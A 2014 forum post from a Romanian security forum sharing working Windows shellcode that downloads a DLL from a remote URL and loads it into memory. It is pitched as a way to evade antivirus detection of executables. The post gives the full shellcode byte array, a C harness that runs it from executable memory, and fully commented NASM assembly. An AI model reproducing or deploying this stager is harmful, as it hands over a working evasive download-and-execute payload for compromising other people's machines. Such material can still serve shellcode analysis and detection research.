Nytro Posted August 5, 2014 Report Posted August 5, 2014 (edited) The idea is simple: you can download an executable file but it can be easily detected. However, the DLLs are NOT detected (most of the time)! So it can be helpful to just download and load a library instead of downloading and executing something. The DLL can contain any code, C or something else, and it is very easy to do anything instead of writing some custom shellcode.This shellcode should work on Windows XP, Vista, 7, 8. It is 90% based on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode" shellcode available here: http://www.exploit-db.com/exploits/24318/ so all credits go to RubberDuck (Binary Flow)How it works:- Find kernel32 address from PEB- Find GetProcAddress function from kernel32- Find LoadLibrary function using GetProcAddress- LoadLibrary("urlmon.dll")- Find URLDownloadToFile function from urlmon.dll- URLDownloadToFile("https://rstforums.com/fisiere/dead.dll", "dead.dll") - LoadLibrary("dead.dll")- LoopShellcode and C program to test it (DETECTABLE):/* Name: Download & Load (DLL) shellcode Author: Nytro Powered by: Romanian Security Team (https://rstforums.com/forum) Based (90%) on RubberDuck's "Allwin URLDownloadToFile + WinExec + ExitProcess Shellcode" shellcode available here: http://www.exploit-db.com/exploits/24318/ Tested on: Windows XP, Windows 7, Windows 8 The shellcode downloads and loads https://rstforums.com/fisiere/dead.dll. The dead.dll library contains a simple MessageBox, but do not trust me, download it and check it yourself. */#include "stdafx.h"#include <Windows.h>int main(){ // Our shellcode unsigned char shellcode[] = "\x31\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B" "\x58\x10\x8B\x53\x3C\x01\xDA\x8B\x52\x78\x01\xDA\x8B\x72\x20\x01" "\xDE\x31\xC9\x41\xAD\x01\xD8\x81\x38\x47\x65\x74\x50\x0F\x85\xF0" "\xFF\xFF\xFF\x81\x78\x04\x72\x6F\x63\x41\x0F\x85\xE3\xFF\xFF\xFF" "\x81\x78\x08\x64\x64\x72\x65\x0F\x85\xD6\xFF\xFF\xFF\x8B\x72\x24" "\x01\xDE\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x01\xDE\x8B\x14\x8E\x01" "\xDA\x31\xC9\x51\x68\x2E\x64\x6C\x6C\x68\x64\x65\x61\x64\x53\x52" "\x51\x68\x61\x72\x79\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64" "\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x89\x45\xFC\x51\x66\xB9\x6C" "\x6C\x51\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD0\x83" "\xC4\x10\x8B\x54\x24\x04\x31\xC9\x51\x66\xB9\x65\x41\x51\x31\xC9" "\x68\x6F\x46\x69\x6C\x68\x6F\x61\x64\x54\x68\x6F\x77\x6E\x6C\x68" "\x55\x52\x4C\x44\x54\x50\xFF\xD2\x31\xC9\x8D\x54\x24\x24\x51\x51" "\x52\xEB\x1F\x51\xFF\xD0\x83\xC4\x1C\x31\xC0\x50\x68\x2E\x64\x6C" "\x6C\x68\x64\x65\x61\x64\x54\x8B\x45\xFC\xFF\xD0\x90\xE9\xFA\xFF" "\xFF\xFF\xE8\xDC\xFF\xFF\xFF" "https://rstforums.com/fisiere/dead.dll" "\x00"; LPVOID lpAlloc = NULL; void (*pfunc)(); // Allocate memory (rwx) for shellcode lpAlloc = VirtualAlloc(0, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(lpAlloc == NULL) { printf("Memory isn't allocated!\n"); return 0; } // Copy memcpy(lpAlloc, shellcode, lstrlenA((LPCSTR)shellcode) + 1); pfunc = (void ())lpAlloc; // Execute pfunc(); return 0;}The shellcode assembly (NASM):bits 32; Find kernel32; ----------------------------------------------------------xor ecx,ecx ; ECX = 0mov eax,[fs:ecx+0x30] ; EAX = PEBmov eax,[eax+0xc] ; EAX = PEB->Ldrmov esi,[eax+0x14] ; ESI = PEB->Ldr.InMemOrder lodsd ; EAX = Second modulexchg eax,esi ; EAX = ESI, ESI = EAXlodsd ; EAX = Third (kernel32)mov ebx,[eax+0x10] ; EBX = Base addressmov edx,[ebx+0x3c] ; EDX = DOS->e_lfanewadd edx,ebx ; EDX = PE Headermov edx,[edx+0x78] ; EDX = Offset export tableadd edx,ebx ; EDX = Export tablemov esi,[edx+0x20] ; ESI = Offset names tableadd esi,ebx ; ESI = Names tablexor ecx,ecx ; EXC = 0; Find GetProcAddress; ----------------------------------------------------------inc ecx ; Loop for each functionlodsdadd eax,ebx ; Loop untill function namecmp dword [eax],0x50746547 ; GetPjnz 0x23cmp dword [eax+0x4],0x41636f72 ; rocAjnz 0x23cmp dword [eax+0x8],0x65726464 ; ddrejnz 0x23mov esi,[edx+0x24] ; ESI = Offset ordinalsadd esi,ebx ; ESI = Ordinals tablemov cx,[esi+ecx*2] ; CX = Number of functiondec ecx mov esi,[edx+0x1c] ; ESI = Offset address tableadd esi,ebx ; ESI = Address tablemov edx,[esi+ecx*4] ; EDX = Pointer(offset)add edx,ebx ; EDX = GetProcAddress; Find LoadLibrary; ----------------------------------------------------------xor ecx,ecx ; ECX = 0push ecxpush dword 0x6c6c642e ; .dllpush dword 0x64616564 ; deadpush ebx ; Kernel32 base addresspush edx ; GetProcAddresspush ecx ; 0push dword 0x41797261 ; aryApush dword 0x7262694c ; Librpush dword 0x64616f4c ; Loadpush esp ; "LoadLibrary"push ebx ; Kernel32 base addresscall edx ; GetProcAddress(LL); LoadLibrary("urlmon.dll");; ----------------------------------------------------------add esp,byte +0xc ; pop "LoadLibrary"pop ecx ; ECX = 0push eax ; EAX = LoadLibrarymov [ebp-4], eax ; Backup EAX; Uglypush ecxmov cx,0x6c6c ; llpush ecxpush dword 0x642e6e6f ; on.dpush dword 0x6d6c7275 ; urlmpush esp ; "urlmon.dll"call eax ; LoadLibrary("urlmon.dll"); Get URLDownloadToFile; ----------------------------------------------------------add esp,byte +0x10 ; Clean stackmov edx,[esp+0x4] ; EDX = GetProcAddressxor ecx,ecx ; ECX = 0push ecxmov cx,0x4165 ; eApush ecxxor ecx,ecx ; ECX = 0push dword 0x6c69466f ; oFilpush dword 0x5464616f ; oadTpush dword 0x6c6e776f ; ownlpush dword 0x444c5255 ; URLDpush esp ; "URLDownloadToFileA"push eax ; urlmon base addresscall edx ; GetProc(URLDown); Call URLDownloadToFile; ----------------------------------------------------------xor ecx,ecx ; ECX = 0lea edx,[esp+0x24] ; EDX = "dead.dll"push ecxpush ecxpush edx ; "dead.dll"jmp short 0xF2 ; Will seepush ecx ; 0 call eax ; Download; Call LoadLibrary; ----------------------------------------------------------add esp, byte +0x1c ; Clean stack (URL...)xor eax, eax ; NULLpush eaxpush dword 0x6c6c642e ; .dllpush dword 0x64616564 ; deadpush espmov eax, [ebp-4] ; I know, this suckscall eax ; LoadLibrarynopjmp 0xEC ; Fuckin' loop; Will put URL pointer on the stack as return address (call)call dword 0xD3url db "https://rstforums.com/fisiere/dead.dll", 0Important Note!It may not work on all Windows 7 & Windows 8 operating systems due to some stupidities related to the Internet Explorer settings! For example, on some Windows 8 versions the URLDownloadToFile didn't work until IE was the default browser. On some Windows 7 versions it didn't work until the IE settings were reset, but it worked even if IE was not the default browser. The problem is with URLDownloadToFile, not with the shellcode.If you have any questions, you can ask me here.Thanks,Nytro Edited August 6, 2014 by Nytro Quote